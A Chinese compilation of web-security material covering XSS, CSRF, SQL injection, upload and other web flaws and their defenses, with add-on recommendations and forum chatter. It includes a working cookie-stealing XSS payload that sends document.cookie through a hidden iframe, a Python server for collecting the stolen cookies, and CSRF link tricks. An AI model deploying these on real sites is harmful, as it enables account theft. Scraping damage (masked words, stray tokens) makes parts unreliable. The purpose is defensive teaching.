refererxss的简单介绍

前端安全方面有没有了解？xss和csrf如何攻防

在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。

XSS：脚本中的不速之客

XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。

正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。

真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的 *** 处理，简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。

现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本更低而又最有效的做法。

CSRF：冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，更好的 *** 是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。

严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。

例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问：

标题content=内容

那么，我只需要在论坛中发一帖，包含一链接：

我是脑残content=哈哈

只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 *** 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。

比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。

首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求 *** ，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。

接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF，这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：

虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。

之一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、 *** 的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。

总体来说，目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“ *** ”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌 *** ，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。

有什么比较好的火狐组件，简单介绍下功能。

1. Add N Edit Cookies 查看和修改本地的Cookie，Cookie欺骗必备。

2. User Agent Switcher 修改浏览器的User Agent，可以用来XSS。

3. RefControl 修改Referer引用，也可以用来XSS或者突破一些防盗链。关于Referer XSS的可以参考利用雅虎站长工具跨站给管理员挂马。

4.Live HTTP Headers 记录本地的Get和Post数据，并可修改数据后重新提交。

5. Poster 用来Post和Get数据。

6. HackBar 小工具包，包含一些常用的工具。(SQL injection,XSS,加密等)

7. XSS-Me SQL Inject-MeAccess-Me 分别用来检测XSS，SQL Inject和Access缺陷。

8. Firebug 可以编辑、测试和实时观察任何页面中的 CSS，HTML，和JavaScript，控制查看的数据和 HTTP/HTTPS 的消息头和 POST 参数,还有 DOM Inspector 来检查任何的 HTM L或 CSS 组成。ca3daebf25WtjLlo

9. Web Developer

------------以上是帮你搜索的！------------

-------------这是很安全，很权威的组件下载点----------

个人：

必备的：网页视频浏览必备的 叫什么A*** FLASH 的，如果没下它在标签栏下会提示你的

美化的：就是主题包！你如果是在windows下的火狐，不用什么好下载的他已经自带好多，也可自己做！

语言类：是用火狐中国，也就不用担心了都有！ 我现在的是firefox(en-GB)/(zh-cn)3.5.2....

插件就好多了！

个人观点：

相信你是个狐迷 好处我就不说了！缺点，火狐实用性不是很好！1、上次为了与迅雷紧密结合，弄了我半天！2、我进 *** 时，就安全控件下载就是一道很高的槛。3、我常常用网上银行，呵呵！无奈！4、还有好多限制...

我现在基本上不用windows 操作系统了，用的是其他的系统就是火狐浏览器，还是比较留恋遨游...

兄台 能给分不？

盘点信息安全常见的Web漏洞

一、SQL注入漏洞

SQL 注入攻击（ SQL Injection ），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。

通常情况下， SQL 注入的位置包括：

（1）表单提交，主要是POST 请求，也包括GET 请求；

（2）URL 参数提交，主要为GET 请求参数；

（3）Cookie 参数提交；

（4）HTTP 请求头部的一些可修改的值，比如Referer 、User_Agent 等；

（5）一些边缘的输入点，比如.mp3 文件的一些文件信息等。

SQL注入的危害不仅体现在数据库层面上， 还有可能危及承载数据库的操作系统；如果SQL 注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不局限于：

（1）数据库信息泄漏：数据库中存放的用户的隐私信息的泄露。作为数据的存储中心，数据库里往往保存着各类的隐私信息， SQL 注入攻击能导致这些隐私信息透明于攻击者。

（2）网页篡改：通过操作数据库对特定网页进行篡改。

（3）网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击。

（4）数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被篡改。

（5）服务器被远程控制，被安装后门。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。

（6）破坏硬盘数据，瘫痪全系统。

二、跨站脚本漏洞

跨站脚本攻击（Cross-site scripting，通常简称为XSS）发生在客户端，可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。

XSS攻击使用到的技术主要为HTML和Javascript，也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害，但是它借助网站进行传播，使网站的使用用户受到攻击，导致网站用户帐号被窃取，从而对网站也产生了较严重的危害。

XSS类型包括：

（1）非持久型跨站：即反射型跨站脚本漏洞，是目前最普遍的跨站类型。跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码不存储到服务端（比如数据库中）。上面章节所举的例子就是这类情况。 （2）持久型跨站：这是危害最直接的跨站类型，跨站代码存储于服务端（比如数据库中）。常见情况是某用户在论坛发贴，如果论坛没有过滤用户输入的Javascript代码数据，就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。 （3）DOM跨站（DOM XSS）：是一种发生在客户端DOM（Document Object Model文档对象模型）中的跨站漏洞，很大原因是因为客户端脚本处理逻辑导致的安全问题。

三、弱口令漏洞

弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则：

（1）不使用空口令或系统缺省的口令，这些口令众所周知，为典型的弱口令。

（2）口令长度不小于8个字符。

（3）口令不应该为连续的某个字符（例如：AAAAAAAA）或重复某些字符的组合（例如：tzf.tzf.）。

（4）口令应该为以下四类字符的组合，大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个，那么该字符不应为首字符或尾字符。

（5）口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息，以及字典中的单词。

（6）口令不应该为用数字或符号代替某些字母的单词。

（7）口令应该易记且可以快速输入，防止他人从你身后很容易看到你的输入。

（8）至少90天内更换一次口令，防止未被发现的入侵者继续使用该口令。

四、HTTP报头追踪漏洞

HTTP/1.1（RFC2616）规范定义了HTTP TRACE *** ，主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中HTTP头很可能包括Session Token、Cookies或其它认证信息。

攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE请求可以通过客户浏览器脚本发起（如XMLHttpRequest），并可以通过DOM接口来访问，因此很容易被攻击者利用。

五、Struts2远程命令执行漏洞

ApacheStruts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误，如果遇到转换错误可被利用注入和执行任意Java代码。 网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架，由于该软件存在远程代码执高危漏洞，导致网站面临安全风险。

六、文件上传漏洞

文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过Web访问的目录上传任意文件，包括网站后门文件（ webshell ），进而远程控制网站服务器。因此，在开发网站及应用程序过程中，需严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell攻击。

七、私有IP地址泄露漏洞

IP地址是 *** 用户的重要标示，是攻击者进行攻击前需要了解的。获取的 *** 较多，攻击者也会因不同的 *** 情况采取不同的 *** ，如：在局域网内使用Ping指令， Ping对方在 *** 中的名称而获得IP；在Internet上使用IP版的 *** 直接显示。最有效的办法是截获并分析对方的 *** 数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP 包头信息，再根据这些信息了解具体的IP。

针对最有效的“数据包分析 *** ”而言，就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点， 譬如：耗费资源严重，降低计算机性能；访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。

现在的个人用户采用最普及隐藏IP 的 *** 应该是使用 *** ，由于使用 *** 服务器后，“转址服务”会对发送出去的数据包有所修改，致使“数据包分析”的 *** 失效。一些容易泄漏用户IP 的 *** 软件( *** 、MSN 、IE 等)都支持使用 *** 方式连接Internet ，特别是 *** 使用“ ezProxy ”等 *** 软件连接后， IP版的 *** 都无法显示该IP地址。虽然 *** 可以有效地隐藏用户IP，但攻击者亦可以绕过 *** ， 查找到对方的真实IP地址，用户在何种情况下使用何种 *** 隐藏IP，也要因情况而论。

八、未加密登录请求

由于Web 配置不安全， 登陆请求把诸如用户名和密码等敏感字段未加密进行传输，攻击者可以窃听 *** 以劫获这些敏感信息。

九、敏感信息泄露漏洞

SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露，攻击者可以通过漏洞获得敏感信息。

Web应用漏洞原理

Web应用攻击是攻击者通过浏览器或攻击工具，在URL或者其它输入区域（如表单等），向Web服务器发送特殊请求，从中发现Web应用程序存在的漏洞，从而进一步操纵和控制网站，查看、修改未授权的信息。

web攻击有哪些？怎么防护？

1、DoS和DDoS攻击（DoS(Denial of Service)，即拒绝服务，造成远程服务器拒绝服务的行为被称为DoS攻击。其目的是使计算机或 *** 无法提供正常的服务。最常见的DoS攻击有计算机 *** 带宽攻击和连通性攻击）

防范：(1) 反欺骗：对数据包的地址及端口的正确性进行验证，同时进行反向探测。(2) 协议栈行为模式分析：每个数据包类型需要符合RFC规定，这就好像每个数据包都要有完整规范的着装，只要不符合规范，就自动识别并将其过滤掉。(3) 特定应用防护：非法流量总是有一些特定特征的，这就好比即便你混进了顾客群中，但你的行为还是会暴露出你的动机，比如老重复问店员同一个问题，老做同样的动作，这样你仍然还是会被发现的。(4) 带宽控制：真实的访问数据过大时，可以限制其更大输出的流量，以减少下游 *** 系统的压力。

2、CSRF(Cross Site Request Forgery)，即跨站请求伪造，是一种常见的Web攻击，但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击。

防范：(1) 验证码。应用程序和用户进行交互过程中，特别是账户交易这种核心步骤，强制用户输入验证码，才能完成最终请求。在通常情况下，验证码够很好地遏制CSRF攻击。但增加验证码降低了用户的体验，网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段，在关键业务点设置验证码。(2) Referer Check。HTTP Referer是header的一部分，当浏览器向web服务器发送请求时，一般会带上Referer信息告诉服务器是从哪个页面链接过来的，服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律，如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面，来判断是不是CSRF攻击。但在某些情况下如从https跳转到http，浏览器处于安全考虑，不会发送referer，服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞，那么攻击者可以在其他网站注入恶意脚本，受害者进入了此类同域的网址，也会遭受攻击。出于以上原因，无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。(3) Anti CSRF Token。目前比较完善的解决方案是加入Anti-CSRF-Token，即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token，并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值，会进行校验该请求当中的token和cookie当中的token值是否都存在且相等，才认为这是合法的请求。否则认为这次请求是违法的，拒绝该次服务。这种 *** 相比Referer检查要安全很多，token可以在用户登陆后产生并放于session或cookie中，然后在每次请求时服务器把token从session或cookie中拿出，与本次请求中的token 进行比对。由于token的存在，攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时，当某个页面消耗掉token后，其他页面的表单保存的还是被消耗掉的那个token，其他页面的表单提交时会出现token错误。

3、XSS(Cross Site Scripting)，跨站脚本攻击。为和层叠样式表(Cascading Style Sheets，CSS)区分开，跨站脚本在安全领域叫做“XSS”。

防范：(1) 输入过滤。永远不要相信用户的输入，对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式，比如日期格式，Email格式， *** 号码格式等等。这样可以初步对XSS漏洞进行防御。上面的措施只在web端做了限制，攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制，修改请求注入攻击脚本。因此，后台服务器需要在接收到用户输入的数据后，对特殊危险字符进行过滤或者转义处理，然后再存储到数据库中。(2) 输出编码。服务器端输出到浏览器的数据，可以使用系统的安全函数来进行编码或转义来防范XSS攻击。在PHP中，有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。相应的JavaScript的编码方式可以使用JavascriptEncode。(3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作，同时要避免使用客户端数据，这些操作需尽量在服务器端使用动态页面来实现。(4) HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时，将其属性设为HttpOnly，就可以避免该网页的cookie被客户端恶意JavaScript窃取，保护用户cookie信息。(5)WAF(Web Application Firewall)，Web应用防火墙，主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发，在企业环境中深受欢迎。

4、SQL注入(SQL Injection)，应用程序在向后台数据库传递SQL(Structured Query Language，结构化查询语言)时，攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

防范：(1) 防止系统敏感信息泄露。设置php.ini选项display_errors=off，防止php脚本出错之后，在web页面输出敏感信息错误，让攻击者有机可乘。(2) 数据转义。设置php.ini选项magic_quotes_gpc=on，它会将提交的变量中所有的’(单引号)，”(双引号)，\(反斜杠)，空白字符等都在前面自动加上\。或者采用mysql_real_escape()函数或addslashes()函数进行输入参数的转义。(3) 增加黑名单或者白名单验证。白名单验证一般指，检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指，若在用户输入中，包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时，一般会配合黑名单验证。

5、上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码，并在服务器上运行。

防范： (1)检查服务器是否判断了上传文件类型及后缀。 (2) 定义上传文件类型白名单，即只允许白名单里面类型的文件上传。 (3) 文件上传目录禁止执行脚本解析，避免攻击者进行二次攻击。 Info漏洞 Info漏洞就是CGI把输入的参数原样输出到页面，攻击者通过修改输入参数而达到欺骗用户的目的。

*** 攻击的几种类型

*** 攻击（Cyber

Attacks，也称赛博攻击）是指针对计算机信息系统、基础设施、计算机 *** 或个人计算机设备的，任何类型的进攻动作。对于 计算机 和计算机 *** 来说，破坏、揭露、修改、使软件或服务失去功能、在没有得到授权的情况下偷取或访问任何一计算机的数据，都会被视为于计算机和计算机 *** 中的攻击。

*** 攻击的种类

1、主动攻击

主动攻击会导致某些数据流的篡改和虚假数据流的产生。这类攻击可分为篡改、伪造消息数据和终端（拒绝服务）。

（1）篡改消息

篡改消息是指一个合法消息的某些部分被改变、删除，消息被延迟或改变顺序，通常用以产生一个未授权的效果。如修改传输消息中的数据，将“允许甲执行操作”改为“允许乙执行操作”。

（2）伪造

伪造指的是某个实体（人或系统）发出含有其他实体身份信息的数据信息，假扮成其他实体，从而以欺骗方式获取一些合法用户的权利和特权。

（3）拒绝服务

拒绝服务即常说的DoS（Deny of Service），会导致对通讯设备正常使用或管理被无条件地中断。通常是对整个 *** 实施破坏，以达到降低性能、终端服务的目的。这种攻击也可能有一个特定的目标，如到某一特定目的地（如安全审计服务）的所有数据包都被阻止。

2、被动攻击

被动攻击中攻击者不对数据信息做任何修改，截取/窃听是指在未经用户同意和认可的情况下攻击者获得了信息或相关数据。通常包括窃听、流量分析、破解弱加密的数据流等攻击方式。

（1）流量分析

流量分析攻击方式适用于一些特殊场合，例如敏感信息都是保密的，攻击者虽然从截获的消息中无法的到消息的真实内容，但攻击者还能通过观察这些数据报的模式，分析确定出通信双方的位置、通信的次数及消息的长度，获知相关的敏感信息，这种攻击方式称为流量分析。

（2）窃听

窃听是最常用的手段。应用最广泛的局域网上的数据传送是基于广播方式进行的，这就使一台主机有可能受到本子网上传送的所有信息。而计算机的网卡工作在杂收模式时，它就可以将 *** 上传送的所有信息传送到上层，以供进一步分析。如果没有采取加密措施，通过协议分析，可以完全掌握通信的全部内容，窃听还可以用无限截获方式得到信息，通过高灵敏接受装置接收 *** 站点辐射的电磁波或 *** 连接设备辐射的电磁波，通过对电磁信号的分析恢复原数据信号从而获得 *** 信息。尽管有时数据信息不能通过电磁信号全部恢复，但可能得到极有价值的情报。

由于被动攻击不会对被攻击的信息做任何修改，留下痕迹很好，或者根本不留下痕迹，因而非常难以检测，所以抗击这类攻击的重点在于预防，具体措施包括虚拟专用网VPN，采用加密技术保护信息以及使用交换式 *** 设备等。被动攻击不易被发现，因而常常是主动攻击的前奏。

被动攻击虽然难以检测，但可采取措施有效地预防，而要有效地防止攻击是十分困难的，开销太大，抗击主动攻击的主要技术手段是检测，以及从攻击造成的破坏中及时地恢复。检测同时还具有某种威慑效应，在一定程度上也能起到防止攻击的作用。具体措施包括自动审计、入侵检测和完整性恢复等。

攻击的 *** 主要有：

[if !supportLists]·        [endif]口令入侵

[if !supportLists]·        [endif]特洛伊木马

[if !supportLists]·        [endif]WWW欺骗

[if !supportLists]·        [endif]电子邮件

[if !supportLists]·        [endif]节点攻击

[if !supportLists]·        [endif] *** 监听

[if !supportLists]·        [endif]黑客软件

[if !supportLists]·        [endif]安全漏洞

[if !supportLists]·        [endif]端口扫描

如何避免 *** 攻击呢，之一种是同源检测的 ***

服务器根据 http 请求头中 origin 或者referer 信息来判断请 求是否为允许访问的站点，从而对请求进行过滤。当 origin 或者 referer 信息都不存在的 时候，直接阻止。这种方式的缺点是有些情况下referer 可以被伪造。还有就是我们这种 *** 同时把搜索引擎的链接也给屏蔽了，所以一般网站会允许搜索引擎的页面请求，但是相应的页面 请求这种请求方式也可能被攻击者给利用。

第二种 *** 是使用 CSRF Token 来进行验证

服务器向用户返回一个随机数 Token ，当网站 再次发起请求时，在请求参数中加入服务器端返回的 token ，然后服务器对这个 token 进行 验证。这种 *** 解决了使用 cookie 单一验证方式时，可能会被冒用的问题，但是这种 *** 存在一个缺点就是，我们需要给网站中的所有请求都添加上这个 token，操作比较繁琐。还有一 个问题是一般不会只有一台网站服务器，如果我们的请求经过负载平衡转移到了其他的服务器，但是这个服务器的 session 中没有保留这个 token 的话，就没有办法验证了。这种情况我们可以通过改变 token 的构建方式来解决。

第三种方式使用双重 Cookie 验证的办法

